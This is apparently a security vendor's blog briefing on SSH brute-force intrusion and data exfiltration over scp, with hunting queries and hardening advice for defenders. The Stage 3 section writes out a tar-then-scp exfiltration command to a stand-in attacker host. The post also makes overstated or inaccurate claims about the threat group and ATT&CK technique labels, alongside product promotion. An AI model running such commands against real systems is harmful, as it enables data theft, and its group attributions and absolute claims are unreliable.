CISO Briefing: How to Hunt "DragonForce's" SSH Data Exfiltration (IOCs for "Russian Hosts" & Brute-Force TTPs) — by CyberDudeBivash

By CyberDudeBivash · 01 Nov 2025 · cyberdudebivash.com · Intel on cyberbivash.blogspot.com

This is a decision-grade CISO brief. This is a PostMortem of a "Trusted Tunnel" attack. Your EDR (Endpoint Detection and Response) is *explicitly whitelisted* to *trust* `ssh.exe` and `scp.exe`. Your Firewall is *explicitly configured* to *allow* outbound Port 22. The attacker is using this "trusted" tunnel to exfiltrate your 4TB "crown jewel" PII database to a C2 host (e.g., in Russia or China), and your SOC is *blind*.

Contents

1. Phase 1: The "Trusted Tunnel" Nightmare (Why Your EDR is Blind)
2. Phase 2: The Kill Chain (From "Brute-Force" to "Exfil")
3. Exploit Chain (Engineering)
4. Reproduction & Lab Setup (Safe)
5. Detection & Hunting Playbook (The *New* SOC Mandate)
6. Mitigation & Hardening (The CISO Mandate)
7. Audit Validation (Blue-Team)
8. Tools We Recommend (Partner Links)
9. CyberDudeBivash Services & Apps
10. FAQ
11. Timeline & Credits
12. References

Phase 1: The "Trusted Tunnel" Nightmare (Why Your EDR is Blind)

As a CISO, your *entire* "prevention" model is based on *signatures* and *blacklists*. This attack *bypasses* both.

This is a "Living off the Land" (LotL) attack. The attacker isn't using "malware.exe". They are using `ssh.exe` and `scp.exe`—legitimate, *signed* Microsoft and Linux tools that your sysadmins *need* to do their jobs.

Here is the *critical failure* in your security stack:

1. The EDR Bypass: Your EDR (like Kaspersky) is *whitelisted* to "trust" `ssh.exe`. It *has* to be. When the attacker runs `ssh.exe`, your EDR sees a "trusted" process and *allows it*.
2. The Firewall/DLP Bypass: Your firewall is *configured* to "Allow Port 22 (SSH)" for remote administration. The attacker's *entire* C2 and Data Exfiltration (the "4TB Question") happens *inside this encrypted SSH tunnel*. Your DLP *cannot* inspect it. Your firewall *allows* it.

Your security stack is *blind* because the attacker is *impersonating* one of your sysadmins, and your tools *cannot* tell the difference between "good" admin behavior and "bad" admin behavior. This requires a *human* hunter.

Phase 2: The Kill Chain (From "Brute-Force" to "Exfil")

This is a CISO PostMortem based on *real* TTPs our Incident Response (IR) teams are seeing in the wild from APTs like DragonForce.

Stage 1: Initial Access (The "Weak" Credential)

The attacker's "scanner" finds your *one* internet-facing Linux server (e.g., a "forgotten" dev box in Alibaba Cloud) that *still has Port 22 open to the world* and *still allows password authentication*.
They run a Brute-Force attack (T1110) and guess the `root` password.
(This *also* works if a dev *leaks* an `.ssh/id_rsa` key in a public GitHub repo—the "TruffleNet" TTP).

Stage 2: Defense Evasion & C2 (The "Trusted" Tunnel)

The attacker logs in via SSH. They are `root` on your server.
Your EDR sees a "successful login." It *might* log it, but it's not a P1 alert.
The attacker is now *inside* your "trusted" network. Their C2 *is* this SSH session.

Stage 3: Data Exfiltration (The "DLP Bypass")

This is the "breach." The attacker *doesn't* run a noisy script. They *live off the land*.

1. `tar -czf /tmp/loot.tar.gz /var/www/html/prod.db` (Collects the data)
2. `scp /tmp/loot.tar.gz attacker@russian-host.com:/tmp/` (Exfiltrates the data)

Your DLP is *blind*. It sees "encrypted SSH traffic."
Your EDR is *blind*. It sees a "trusted" `scp` (Secure Copy) process.
Your "crown jewel" PII database (and GDPR/DPDP liability) is now on an attacker's C2 server in Russia.

Stage 4: Ransomware (The "Noise")

*After* the 4TB of data is gone, the attacker deploys ransomware to cover their tracks.
(This is why you *must* have a Ransomware Readiness Assessment. Your "backup" plan *does not* stop the data theft).

Exploit Chain (Engineering)

This is a "Trusted Process" Hijack (T1219) & Misconfiguration. The "exploit" is a *logic* flaw in your Zero-Trust policy.

• Trigger: `ssh -l root [victim_ip]` (with a brute-forced password or stolen key).
• Precondition: `sshd_config` file on server has `PasswordAuthentication yes`. Firewall *allows* `Port 22` from `0.0.0.0/0`.
• Sink (The Breach): `scp` (T1048.003) or `sftp` is used to exfiltrate data over the *encrypted, trusted* C2 channel.
• Module/Build: `ssh.exe` (Trusted), `scp.exe` (Trusted), `powershell.exe` (Trusted).
• Patch Delta: There is no "patch." The "fix" is MDR (Hunting) + FIDO2 MFA.

Reproduction & Lab Setup (Safe)

You *must* test your EDR's visibility for this TTP.

• Harness/Target: A sandboxed Windows/Linux VM with your standard EDR agent installed.
• Test: 1) From an *external* IP, `ssh` into the box. 2) Run a simple command: `whoami > /tmp/test`. 3) Now, `scp` that file *back* to your external IP.
• Result: Did your EDR/SIEM fire a P1 (Critical) alert? Or was it *silent*? If it was silent, *your EDR is blind* to this TTP.

Detection & Hunting Playbook (The *New* SOC Mandate)

Your SOC *must* hunt for this. Your SIEM/EDR is blind to the exploit itself; it can *only* see the *result*. This is your playbook.

• Hunt TTP 1 (The #1 IOC): "Anomalous SSH Source." This is your P1 alert. Your *servers* should *never* be logging in from a "new" or "non-corporate" IP.

  # SIEM / Auth Log Hunt Query (Pseudocode)
  SELECT source_ip, user, count(*)
  FROM auth_logs
  WHERE
    (process_name = 'sshd' AND event_type = 'login_success')
    AND
    (source_ip_country = 'Russia' OR source_ip_country = 'China' OR source_ip_country = 'North Korea')
  GROUP BY source_ip, user
            

• Hunt TTP 2 (The "Brute-Force"): "Show me *all* `sshd` 'Failed login' events from a *single IP* with > 100 attempts in 5 minutes." (This is the pre-breach noise).
• Hunt TTP 3 (The "Pivot"): "Show me *any* `powershell.exe` or `cmd.exe` *spawning* `ssh.exe` or `scp.exe`." This is *always* malicious.

Mitigation & Hardening (The CISO Mandate)

This is a Configuration failure. This is the fix.

• 1. HARDEN SSH (The #1 Fix): This is your CISO mandate. Edit `/etc/ssh/sshd_config` on *all* servers *today*.
  • `PasswordAuthentication no` (This *kills* the Brute-Force TTP).
  • `PermitRootLogin no` (This *stops* an instant "God Mode" compromise).
• 2. MANDATE HARDWARE KEYS (FIDO2): *Force* all admins to use Phish-Proof MFA (Hardware Keys) for *all* SSH access. A *password* can be brute-forced. A *physical key* (like a YubiKey) cannot.
• 3. NETWORK SEGMENTATION (The "Firewall Jail"): Your SSH port (22) should *never* be open to `0.0.0.0/0`. It *must* be in a "Firewall Jail" (e.g., an Alibaba Cloud VPC), accessible *only* from your admin TurboVPN.

Audit Validation (Blue-Team)

Run this *today*. This is not a "patch"; it's an *audit*.

# 1. Audit your SSH Config
# Run this on all Linux servers:
grep "^PasswordAuthentication" /etc/ssh/sshd_config
#
# EXPECTED RESULT: "PasswordAuthentication no"
# If it says "yes" or is commented out, you are VULNERABLE.

# 2. Audit your Firewall
# Run `nmap` *from an external IP*
nmap -p 22 [your_server_ip]
#
# EXPECTED RESULT: "Filtered" or "Closed"
# If it says "Open," you are VULNERABLE.
  

Recommended by CyberDudeBivash (Partner Links)

You need a layered defense. Here's our vetted stack for this specific threat.

CyberDudeBivash Services & Apps

FAQ

Q: What is "DragonForce"?
A: "DragonForce" is a *state-sponsored* or *state-aligned* APT (Advanced Persistent Threat) group, often linked to China (or in this TTP, a "Russian Host" C2). They specialize in *stealth* and *data exfiltration* for *corporate espionage*, not just "noisy" ransomware.

Q: Why does my EDR/DLP fail to stop this?
A: Because your EDR is *configured to trust* `ssh.exe` and your DLP *cannot read* encrypted traffic. This is a "Trusted Process" and "Trusted Tunnel" bypass. Your tools *see* the attack, but they *classify it as "benign admin activity."*

Q: How do I hunt for this?
A: You need a behavioral EDR (like Kaspersky) and an expert MDR team. The hunt query is: "Show me all *outbound* SSH connections from *non-admin* servers" and "Show me all *inbound* SSH logins from *non-whitelisted IPs* (like Russia, China, etc.)."

Q: What's the #1 action to take *today*?
A: HARDEN YOUR SSH. Go to `/etc/ssh/sshd_config` on *all* your Linux servers and set `PasswordAuthentication no`. This *kills* the brute-force TTP. Your *second* action is to mandate Hardware Keys (FIDO2).

Timeline & Credits

This "SSH Exfil" TTP (T1048.003) is an active, ongoing campaign by multiple APTs.
Credit: This analysis is based on active Incident Response engagements by the CyberDudeBivash threat hunting team.

References

• MITRE ATT&CK: T1048.003 (Exfil Over C2 Channel)
• MITRE ATT&CK: T1110.001 (Password Guessing)
• CyberDudeBivash MDR Service

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